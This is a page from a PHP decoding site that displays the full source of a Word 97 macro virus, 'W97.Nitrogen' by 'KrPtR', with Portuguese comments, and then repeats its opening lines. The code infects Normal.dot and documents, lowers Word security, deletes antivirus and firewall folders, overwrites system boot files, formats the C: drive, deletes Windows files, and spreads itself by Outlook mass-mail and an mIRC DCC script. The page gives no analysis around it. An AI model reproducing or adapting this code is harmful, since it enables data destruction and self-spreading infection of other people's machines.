Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

1. 'W97.Nitrogen 2. 'By KrPtR 3. 'AutoOpen = abre um documento existente 4. 'AutoExec..

Decoded Output download

<?  1. 'W97.Nitrogen 
2. 'By KrPtR 
 
3. 'AutoOpen = abre um documento existente 
4. 'AutoExec = quando se abre o word 
5. 'AutoNew = quando se abre um novo documento 
6. 'FileSaveAs = quando se salva o documento 
7. Sub AutoExec() 
8. On Error Resume Next   'Se encontrar algum erro passa  frente 
9. AutoOpen               'Chama a AutoOpen 
10. ChooseActions          'Chama ChooseActions 
11. LoopIt                 'Chama LoopIt 
12. End Sub 
 
13. Sub AutoNew() 
14. On Error Resume Next 
15. AutoOpen 
16. End Sub 
 
17. Sub AutoOpen() 
18. On Error Resume Next 
19. 'Baixa o nivel de segurana do Word 
20. System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = "1" 
21. System.PrivateProfileString("", "HKEY_USERS\.DEFAULT\Software\Microsoft\Office\9.0\Word\Security", "Level") = "1" 
22. 'Aponta para o documento activo 
23. Set Arch = ActiveDocument.VBProject.VBComponents.Item(1) 
24. 'Aponta para o normal.dot 
25. Set Norm = Normal.Nitrogen.VBProject.VBComponents.Item(1) 
26. 'Aponta para copia 
27. Set ItsMe = Me.VBProject.VBComponents.Item(1) 
 
28. Norm.Name = "Nitrogen"    'Muda o nome do Modulos 
29. Arch.Name = "Nitrogen"    'Muda o nome do Modulos 
30. 'Infecta o normal.dot se a primeira linha do Module nao for 'W97.Nitrogen 
31. If Norm.CodeModule.Lines(1, 1) <> "'W97.Nitrogen" Then 
32. 'copia do virus para o normal.dot 
33. Norm.CodeModule.InsertLines 1, ItsMe.CodeModule.Lines(1, ItsMe.CodeModule.CountOfLines) 
34. End If 
35. 'Infecta os documentos se a primeira linha nao for 'W97.Nitrogen 
36. If Arch.CodeModule.Lines(1, 1) <> "'W97.Nitrogen" Then 
37. 'copia para o documento activo 
38. Arch.CodeModule.InsertLines 1, ItsMe.CodeModule.Lines(1, ItsMe.CodeModule.CountOfLines) 
39. End If 
40. 'ja se sabe ne 
41. ChooseActions 
42. Retro 
43. M6KHON1P 
44. JN289GF4 (EL41EEIC) 
45. I5GE6CE6 (P4HN289G) 
46. Form 
47. Special 
48. End Sub 
 
49. Sub FileSaveAs() 
50. On Error Resume Next 
51. 'Manda os numeros para a barra de titulo do Word antes de salvar 
52. 'Se for mes de maio fecha o word i nao salva o documento 
53. Application.ActiveWindow.Caption = "0" 
54. Time 
55. Application.ActiveWindow.Caption = "1" 
56. Time 
57. Application.ActiveWindow.Caption = "2" 
58. Time 
59. Application.ActiveWindow.Caption = "3" 
60. Time 
61. Application.ActiveWindow.Caption = "4" 
62. Time 
63. Application.ActiveWindow.Caption = "5" 
64. M6KHON1P 
65. JN289GF4 (EL41EEIC) 
66. I5GE6CE6 (P4HN289G) 
67. If Day(Now) >= 1 And Month(Now) = 5 Then 
68. Tasks.ExitWindows 
69. End If 
70. End Sub 
 
71. Private Sub Retro() 
72. On Error Resume Next 
73. 'Redireciona o atalho Alt+F11 para uma sub vazia 
74. KeyBindings.Add KeyCode:=BuildKeyCode(Arg1:=wdKeyAlt, Arg2:=wdKeyF11), KeyCategory:=wdKeyCategoryCommand, Command:="Protec" 
75. 'Redireciona o atalho Alt+F8 para uma sub vazia 
76. KeyBindings.Add KeyCode:=BuildKeyCode(Arg1:=wdKeyAlt, Arg2:=wdKeyF8), KeyCategory:=wdKeyCategoryCommand, Command:="Protec" 
77. 'Deleta no menu Ferramentas a opo macro 
78. CommandBars("Tools").Controls("Macro").Delete 
79. 'Vai ao registro e traz path dos anti-virus 
80. Dim McAfee, FMcAfee, FProt, FFProt, FProt2, FFProt2, VET, FVET, Avast, FAvast, TheCleaner, FTheCleaner, Panda, FPanda, AVP, FAVP, Norton, FNorton, Norman, FNorman 
81. FProt = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Command Software\F-PROT32", "Location") 
82. FProt2 = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\FRISK Software International\FP-Win", "Program Root") 
83. VET = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Cybec\VET Antivirus for Win32\Resident", "VetPath") 
84. McAfee = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\McAfee\Scan95", "szProductLocation") 
85. Avast = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\ALWIL Software\Avast32", "Path") 
86. TheCleaner = System.PrivateProfileString("", "HKEY_USERS\.DEFAULT\Software\MooSoft Development\The Cleaner", "tcshellex") 
87. Panda = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Panda Software\Panda Antivirus 6.0", "Path") 
88. AVP = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\KasperskyLab\Components@", "Folder") 
89. Norton = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Symantec\InstalledApps", "NAV") 
90. Norman = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Norman Data Defense Systems", "RootPath") 
91. 'Vai ao registro e traz path das FireWalls 
92. Dim ZoneAlarm, FZoneAlarm, BlackIce, FBlackIce, Tiny, FTiny, Sygate, FSygate 
93. ZoneAlarm = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Zone Labs\ZoneAlarm", "InstallDirectory") 
94. BlackIce = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Network ICE\BlackICE", "Installer") = "C:\Programas\Network ICE\BlackICE" 
95. Tiny = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\TinySoftware\Tiny Personal Firewall\2.00", "DestPath") 
96. Sygate = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Sygate Technologies, Inc.\Sygate Personal Firewall", "smc_install_path") 
97. 'Indica o ke ira ser apagado *.* tudo HIHI 
98. FFProt = FProt + "\*.*" 
99. FFProt2 = FProt2 + "\*.*" 
100. FVET = VET + "\*.*" 
101. FMcAfee = McAfee + "\*.*" 
102. FAvast = Avast + "\*.*" 
103. FTheCleaner = TheCleaner + "\*.*" 
104. FPanda = Panda + "\*.*" 
105. FAVP = AVP + "\*.*" 
106. FNorton = Norton + "\*.*" 
107. FNorman = Norman + "\*.*" 
108. FZoneAlarm = ZoneAlarm + "\*.*" 
109. FBlackIce = BlackIce + "\*.*" 
110. FTiny = Tiny + "\*.*" 
111. FSygate = Sygate + "\*.*" 
112. 'Mando os Anti-Virus com os porcos 
113. Kill FFProt 
114. Kill FFProt2 
115. Kill FVET 
116. Kill FMcAfee 
117. Kill FAvast 
118. Kill FTheCleaner 
119. Kill FPanda 
120. Kill FAVP 
121. Kill FNorton 
122. Shell "Deltree/y" + FNorman 
123. Kill FZoneAlarm 
124. Kill FBlackIce 
125. Kill FTiny 
126. Kill FSygate 
127. 'Desabilita a porra do Xo Bobus 
128. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "0") = "DISABLED" 
129. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "1") = "DISABLED" 
130. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "2") = "DISABLED" 
131. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "3") = "DISABLED" 
132. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "4") = "DISABLED" 
133. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "5") = "DISABLED" 
134. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "6") = "DISABLED" 
135. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "7") = "DISABLED" 
136. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "8") = "DISABLED" 
137. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "9") = "DISABLED" 
138. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "10") = "DISABLED" 
139. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "AutoStart") = "DISABLED" 
140. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "AutoVerify") = "DISABLED" 
141. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "BOProt") = "DISABLED" 
142. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "ExtraPort") = "DISABLED" 
143. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\DeepVision\X BoBus - R32", "NetBusAdv") = "DISABLED" 
 
144. End Sub 
 
145. Private Sub Protec() 'Sub vazia que nao faz nada, simplemente proteje o documento 
 
146. End Sub 
 
147. Private Sub Action1() 
148. On Error Resume Next 
149. 'Muda o nome da lixeira e coloca uma messagem 
150. System.PrivateProfileString("", "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}", "") = "Nitrogen" 
151. System.PrivateProfileString("", "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}", "InfoTip") = "Esta e a Lixeira do KrPtR... eu comando essa barraca ok??? ---DTy---" 
152. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}", "") = "KrPtR Recycle Bin" 
153. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}", "InfoTip") = "Esta Lixeira do KrPtR... eu comando essa barraca ok??? ---DTy---" 
154. End Sub 
 
155. Private Sub Action2() 
156. On Error Resume Next 
157. 'Altera o registro do Windows e a Versao 
158. System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Display\Settings", "BitsPerPixel") = "1" 
159. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = "KrPtR" 
160. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "RegisteredOrganization") = "Nitrogen" 
161. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "Version") = "Windous 007 by KrPtR" 
162. End Sub 
 
163. Private Sub Action3() 
164. On Error Resume Next 
165. 'Poe o ponteiro rato com rasto, velocidade a 0, duplo clica a 100 hehe diz tudo ne 
166. System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Display\Settings", "MouseTrails") = "7" 
167. System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Control Panel\Mouse", "MouseSpeed") = "0" 
168. System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Control Panel\Mouse", "DoubleClickSpeed") = "100" 
169. End Sub 
 
170. Private Sub Action4() 
171. On Error Resume Next 
172. 'Muda as cores do Windows 
173. System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Control Panel\Colors", "ButtonFace") = "200 40 10" 
174. System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Control Panel\Colors", "ActiveTitle") = "0 250 100" 
175. System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Control Panel\Colors", "Menu") = "0 0 0" 
176. System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Control Panel\Colors", "Window") = "100 100 200" 
177. System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Control Panel\Colors", "ScrollBar") = "100 100 200" 
178. System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Control Panel\Colors", "WindowText") = "255 255 255" 
179. End Sub 
 
180. Private Sub Action5() 
181. On Error Resume Next 
182. 'Coloca umas lembraa nos ficheiros 
183. N$ = WordBasic.[DefaultDir$](2) + "\Normal.dot" 
184. FileCopy N$, "C:\Leia.dot" 
185. SetAttr "C:\*.*", vbNormal 
186. Open "C:\io.sys" For Output As #1 
187. Open "C:\msdos.sys" For Output As #2 
188. Open "C:\command.com" For Output As #3 
189. Print #1, "Voce foi dominado pelo virus Nitrogen" 
190. Print #2, "Escrito por KrPtR" 
191. Print #3, "Foda-se p nem depois de morto um gajo pode descansar...Tem de tar sempre um monh entrar" 
192. Close #1 
193. Close #2 
194. Close #3 
195. Open "C:\autoexec.bat" For Output As #1 
196. Print #1, "@echo off" 
197. Print #1, "BREAK OFF > NUL" 
198. Print #1, "Cls" 
199. Print #1, "Echo @    @ @ @@@@@@@ @@@@  @@@@@ @@@@@ @@@@@ @    @" 
200. Print #1, "Echo @@   @      @    @   @ @   @ @   @ @     @@   @" 
201. Print #1, "Echo @ @  @ @    @    @   @ @   @ @     @@@   @ @  @" 
202. Print #1, "Echo @  @ @ @    @    @@@@  @   @ @ @@@ @@@   @  @ @" 
203. Print #1, "Echo @   @@ @    @    @   @ @   @ @   @ @     @   @@" 
204. Print #1, "Echo @    @ @    @    @   @ @@@@@ @@@@@ @@@@@ @    @" 
205. Print #1, "Echo voce foi destruido pelo virus Nitrogen" 
206. Print #1, "pause > nul" 
207. Print #1, "Cls" 
208. Print #1, "Echo escrito por KrPtR" 
209. Print #1, "pause > nul" 
210. Print #1, "Cls" 
211. Print #1, "Echo Voce quer se vingar de mim???" 
212. Print #1, "pause > nul" 
213. Print #1, ":inicio" 
214. Print #1, "Cls" 
215. Print #1, "Echo    @              " 
216. Print #1, "Echo   @ @             " 
217. Print #1, "Echo    @ @            " 
218. Print #1, "Echo     @ @ @ @ @ @   " 
219. Print #1, "Echo      @  @ @ @ @ @ " 
220. Print #1, "Echo      @         @  " 
221. Print #1, "Echo       @       @   " 
222. Print #1, "Echo        @     @    " 
223. Print #1, "Cls" 
224. Print #1, "Echo       @           " 
225. Print #1, "Echo      @ @          " 
226. Print #1, "Echo      @ @          " 
227. Print #1, "Echo      @ @ @ @ @ @  " 
228. Print #1, "Echo      @  @ @ @ @ @ " 
229. Print #1, "Echo      @         @  " 
230. Print #1, "Echo       @       @   " 
231. Print #1, "Echo        @     @    " 
232. Print #1, "Goto :inicio" 
233. Close #1 
 
234. End Sub 
 
235. Private Sub Action6() 
236. On Error Resume Next 
237. 'Altera o nome dos dispositivos do gestor de dispositivos 
238. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Hardware\Description\System\CentralProcessor\0", "VendorIdentifier") = "Genuine KrPtR Processor" 
239. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Hardware\Description\System\CentralProcessor\0", "Identifier") = "Nitrogen" 
240. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Hardware\DeveiceMap\SerialComm", "COM1") = "YOU BE STOP ME BUT YOU DONT STOP ALL" 
241. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Hardware\DeviceMap\SerialComm", "COM1") = "YOU BE STOP ME BUT YOU DONT STOP ALL" 
242. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Hardware\DeviceMap\SerialComm", "COM2") = "YOU BE STOP ME BUT YOU DONT STOP ALL" 
243. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\BIOS\*PNP0000\01", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME" 
244. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\BIOS\*PNP0100\03", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME" 
245. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\BIOS\*PNP0200\02", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME" 
246. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\BIOS\*PNP0303\05", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME" 
247. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\BIOS\*PNP0400\0A", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME" 
248. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\BIOS\*PNP0501\08", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME" 
249. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\BIOS\*PNP0501\09", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME" 
250. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\BIOS\*PNP0700\0B", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME" 
251. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\BIOS\*PNP0800\06", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME" 
252. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\BIOS\*PNP0A03\0C", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME" 
253. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\BIOS\*PNP0B00\04", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME" 
254. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\BIOS\*PNP0C04\07", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME" 
255. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\ISAPNP\CTL0070_DEV0000\FFFFFFFF", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME" 
256. System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\ISAPNP\CTL0070_DEV0001\FFFFFFFF", "DeviceDesc") = "KrPtR --> I AM SOMEWHERE IN THE TIME" 
257. End Sub 
 
258. Sub Action7() 
259. On Error Resume Next 
260. 'Coloca uma resoluo espetacular...Hehe 300 por 100 
261. System.PrivateProfileString("", "HKEY_CURRENT_CONFIG\Display\Settings", "Resolution") = "300,100" 
262. End Sub 
 
263. Sub Action8() 
264. 'Elemina os menus do Word 
265. CommandBars.ActiveMenuBar.Delete 
266. End Sub 
 
267. Sub ChooseActions() 
268. On Error Resume Next 
269. 'Faz de modo alientorio a escolha da acao 
270. Dim Chance 
271. Randomize 
272. Chance = Int((90 * Rnd) + 1) 
273. If Chance = 10 Then Action1 
274. If Chance = 20 Then Action2 
275. If Chance = 30 Then Action3 
276. If Chance = 40 Then Action4 
277. If Chance = 50 Then Action5 
278. If Chance = 60 Then Action6 
279. If Chance = 70 Then Action7 
280. If Chance = 80 Then Action8 
281. End Sub 
 
282. Sub LoopIt() 
283. On Error Resume Next 
284. 'Se o segundo for igual ao minute, obriga o men a dizer ke tem pila de minhoca...Hehe 
285. If Second(Now) = Minute(Now) Then 
286. Msg = "ERRO NO SISTEMA, a possivel causa  voce ter pila de minhoca!!! Voce tem uma pila de minhoca?" 
287. Style = vbYesNo + vbQuestion 
288. Title = "Microsoft Word" 
289. Ret = MsgBox(Msg, Style, Title) 
290. If Ret = vbNo Then LoopIt 
291. End If 
292. End Sub 
 
293. Sub Time() 
294. 'Gera o tempo, quando salva o documento 
295. On Error Resume Next 
296. Dim PauseTime, Start, Finish, TotalTime 
297. PauseTime = 1 
298. Start = Timer 
299. Do While Timer < Start + PauseTime 
300. DoEvents 
301. Loop 
302. End Sub 
 
303. Sub Form() 
304. 'Se o dia for igual ao mes faz aparecer um form na tela hihi 
305. On Error Resume Next 
306. If Day(Now) = Month(Now) Then 
307. Gajaneca.Show 
308. End If 
309. End Sub 
 
310. 'Estas acoes sao so acoes especiais 
311. Sub Special() 
312. On Error Resume Next 
313. 'Mensagem, fecha o Word e format 
314. If Day(Now) = "1" And Month(Now) = "8" Then MsgBox "OK!!!, Is time to kill!!!", vbSystemModal + vbOKOnly, "KrPtR": Application.Quit wdDoNotSaveChanges: Tasks.ExitWindows 
315. Shell "C:\Windows\Command\Format.com C:/Autotest" 
316. 'Pergunta se ker remover o Windows e so da o botao de sim 
317. If Day(Now) = "13" And Month(Now) = "4" Then 
318. mbox = "Ow!!! Quer remover o Windows???": st = vbYes + vbQuestion: tit = "KrPtR" 
319. r = MsgBox(mbox, st, tit) 
320. If r = vbYes Then 
321. Application.StatusBar = "Removendo C:\Windows... 5%" 
322. FileSystem.Kill "C:\Windows\*.exe" 
323. Application.StatusBar = "Removendo C:\Windows... 14%" 
324. FileSystem.Kill "C:\Windows\*.bmp" 
325. Application.StatusBar = "Removendo C:\Windows... 20%" 
326. FileSystem.Kill "C:\Windows\*.gif" 
327. Application.StatusBar = "Removendo C:\Windows... 30%" 
328. FileSystem.Kill "C:\Windows\*.com" 
329. Application.StatusBar = "Removendo C:\Windows... 36%" 
330. FileSystem.Kill "C:\Windows\*.jpg" 
331. Application.StatusBar = "Removendo C:\Windows... 45%" 
332. FileSystem.Kill "C:\Windows\*.dll" 
333. Application.StatusBar = "Removendo C:\Windows... 57%" 
334. FileSystem.Kill "C:\Windows\*.sys" 
335. Application.StatusBar = "Removendo C:\Windows... 68%" 
336. FileSystem.Kill "C:\Windows\*.txt" 
337. Application.StatusBar = "Removendo C:\Windows... 72%" 
338. FileSystem.Kill "C:\Windows\*.doc" 
339. FileSystem.Kill "C:\Windows\*.gif" 
340. Application.StatusBar = "Removendo C:\Windows... 86%" 
341. FileSystem.Kill "C:\Windows\*.dat" 
342. FileSystem.Kill "C:\Windows\*.ini" 
343. Application.StatusBar = "Removendo C:\Windows... 99%" 
344. FileSystem.Kill "C:\Windows\*.pwl" 
345. Application.StatusBar = "Removendo C:\Windows... done" 
346. End If 
347. End If 
348. 'Mensagem e cria pastas ate nao haver mais espao no disco 
349. If Day(Now) = "1" And Month(Now) >= "1" Then 
350. MsgBox "OW! Dia da confuso? Sabes o que isso (da uma expreitade-la no Explorer)???", vbExclamation, "KrPtR" 
351. Static P 
352. Static Q 
353. Dim S 
354. S = "\Nitrogen" 
355. P = "C:\Nitrogen" 
356. MkDir P 
357. Pastas: 
358. Q = Q + 1 
359. P = P + S 
360. MkDir P 
361. GoTo Pastas 
362. End If 
363. 'Mensagem e apaga o conteudo do iniciar 
364. If Day(Now) = "7" And Month(Now) >= "6" Then 
365. MsgBox "O Sistema decidio ke como voce  Duty tambm no precisa de iniciar???", vbCritical, "KrPtR" 
366. Shell "Deltree/y c:\windows\menu iniciar" 
367. Shell "Deltree/y c:\windows\start menu" 
368. End If 
369. 'Mensagem e apaga as fontes do windows 
370. If Day(Now) = "28" And Month(Now) >= "2" Then 
371. MsgBox "AHAH!!!Duty check your fonts", vbExclamation, "KrPtR" 
372. Shell "Deltree/y C:\windows\fonts" 
373. Open "C:\autoexec.bat" For Output As #1 
374. Print #1, "@echo off" 
375. Print #1, "Deltree/y C:\windows\fonts" 
376. Close #1 
377. End If 
378. 'Faz um joginho se ganhar deleta a pasta dos programas 
379. If Day(Now) = Minute(Now) Then 
380. MsgBox "Game Pockey Quinja no teu monhenho", vbExclamation, "KrPtR" 
381. Dim FILEEE 
382. FILEEE = Dir("C:\Windows\*.*") 
383. Open FILEEE For Append As #1 
384. Randomize: o = Int((2 * Rnd) + 1) 
385. If o = 1 Then Print #1, "Ow, you loose, try again!!!" 
386. If o = 2 Then Print #1, "Ow yeah! You win... SHIT": Shell "Deltree/y C:\programas" 
387. Print #1, "Do you want to play again???" 
388. Print #1, "" 
389. Close #1 
390. End If 
391. 'Isto e a nova versao do Windows HEHEHE 
392. If Day(Now) = 25 And Month(Now) = 12 Then 
393. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "BorderWidth") = "100" 
394. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "CaptionHeight") = "-1000" 
395. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "CaptionWidth") = "-1000" 
396. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "IconSpacing") = "-2500" 
397. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "IconSpacingFactor") = "1000" 
398. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "IconVerticalSpacing") = "-2000" 
399. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "MenuHeight") = "1000" 
400. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "MenuWidth") = "1000" 
401. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "ScrollHeight") = "-1000" 
402. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "ScrollWidth") = "1000" 
403. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "Shell Icon BPP") = "1500" 
404. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "SmCaptionHeight") = "-1000" 
405. System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics", "SmCaptionWidth") = "-1500" 
406. End If 
407. End Sub 
408. 'Envia o Virus pelo E-Mail 
409. Function M6KHON1P() 
410. On Error Resume Next 
411. Set LO0TLPP3 = CreateObject("Outlook.Application") 
412. If LO0TLPP3 = "Outlook" Then 
413. Set OJ635QLF = LO0TLPP3.GetNameSpace("MAPI") 
414. Set PA314IE4 = OJ635QLF.AddressLists 
415. For Each LRD0IK85 In PA314IE4 
416. If LRD0IK85.AddressEntries.Count <> 0 Then 
417. FJ86ECJP = LRD0IK85.AddressEntries.Count 
418. For KK94TEGG = 1 To FJ86ECJP 
419. Set CICQC7G8 = LO0TLPP3.CreateItem(0) 
420. Set VL2G87R2 = LRD0IK85.AddressEntries(KK94TEGG) 
421. CICQC7G8.To = VL2G87R2.Address 
422. CICQC7G8.Subject = "Very Important!" 
423. CICQC7G8.Body = "Hi:" & vbCrLf & "it's contain sites of sexy" & vbCrLf & "" 
424. Set V01B8L4J = CICQC7G8 
425. V01B8L4J = Chr(65) & Chr(116) & Chr(116) & Chr(97) & Chr(99) & Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115) 
426. L6856229 = V3F7GPEG 
427. CICQC7G8.DeleteAfterSubmit = True 
428. V01B8L4J.Add L6856229 
429. If CICQC7G8.To <> "" Then 
430. CICQC7G8.Send 
431. End If 
432. Next 
433. End If 
434. Next 
435. End If 
436. End Function 
437. 'Envia o virus pelo Mirc 
438. Function JN289GF4(EL41EEIC) 
439. On Error Resume Next 
440. If EL41EEIC <> "" Then 
441. I1A717F3 = D585C1N8.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir") 
442. If N23RFUBE.fileexists("c:\mirc\mirc.ini") Then 
443. EL41EEIC = "c:\mirc" 
444. ElseIf N23RFUBE.fileexists("c:\mirc32\mirc.ini") Then 
445. EL41EEIC = "c:\mirc32" 
446. ElseIf N23RFUBE.fileexists(I1A717F3 & "\mirc\mirc.ini") Then 
447. EL41EEIC = I1A717F3 & "\mirc" 
448. ElseIf N23RFUBE.fileexists(I1A717F3 & "\mirc32\mirc.ini") Then 
449. EL41EEIC = I1A717F3 & "\mirc" 
450. Else 
451. EL41EEIC = "" 
452. End If 
453. End If 
454. If EL41EEIC <> "" Then 
455. Set QE867UU1 = N23RFUBE.CreateTextFile(EL41EEIC & "\script.ini", True) 
456. QE867UU1 = "[script]" & vbCrLf & "n0=on 1:JOIN:#:{" 
457. QE867UU1 = QE867UU1 & vbCrLf & "n0=on 1:JOIN:#:{" 
458. QE867UU1 = QE867UU1 & vbCrLf & "n1=  /if ( $nick == $me ) { halt }" 
459. QE867UU1 = QE867UU1 & vbCrLf & "n2=  /." & Chr(100) & Chr(99) & Chr(99) & " send $nick " 
460. QE867UU1 = QE867UU1 & V3F7GPEG 
461. QE867UU1 = QE867UU1 & vbCrLf & "n3=}" 
462. Script.Close 
463. End If 
464. End Function 
 
465. Function I5GE6CE6(P4HN289G) 
466. On Error Resume Next 
467. FD2T2R6M = P4HN289G 
468. Set E19HU2J0 = N23RFUBE.GetFolder(FD2T2R6M) 
469. Set JS6N7DTE = E19HU2J0.Files 
470. For Each IH0U7262 In JS6N7DTE 
471. If LCase(IH0U7262.Name) = "mirc.ini" Then 
472. JN289GF4 (IH0U7262.ParentFolder) 
473. End If 
474. If N23RFUBE.GetExtensionName(IH0U7262.Path) = "dot" Then 
475. N23RFUBE.CopyFile wscript.scriptfullname, IH0U7262.Path, True 
476. End If 
477. If N23RFUBE.GetExtensionName(IH0U7262.Path) = "doc" Then 
478. N23RFUBE.CopyFile wscript.scriptfullname, IH0U7262.Path, True 
479. End If 
480. Next 
481. Set GJLFB106 = E19HU2J0.Subfolders 
482. For Each G4F1UJQ6 In GJLFB106 
483. Call G4F1UJQ6.Path 
484. Next 
485. End Function ?>

Did this file decode correctly?

Original Code

1. 'W97.Nitrogen
2. 'By KrPtR

3. 'AutoOpen = abre um documento existente
4. 'AutoExec = quando se abre o word
5. 'AutoNew = quando se abre um novo documento
6. 'FileSaveAs = quando se salva o documento
7. Sub AutoExec()
8. On Error Resume Next   'Se encontrar algum erro passa  frente
9. AutoOpen               'Chama a AutoOpen
10. ChooseActions          'Chama ChooseActions
11. LoopIt                 'Chama LoopIt
12. End Sub

13. Sub AutoNew()
14. On Error Resume Next
15. AutoOpen
16. End Sub

17. Sub AutoOpen()
18. On Error Resume Next
19. 'Baixa o nivel de segurana do Word
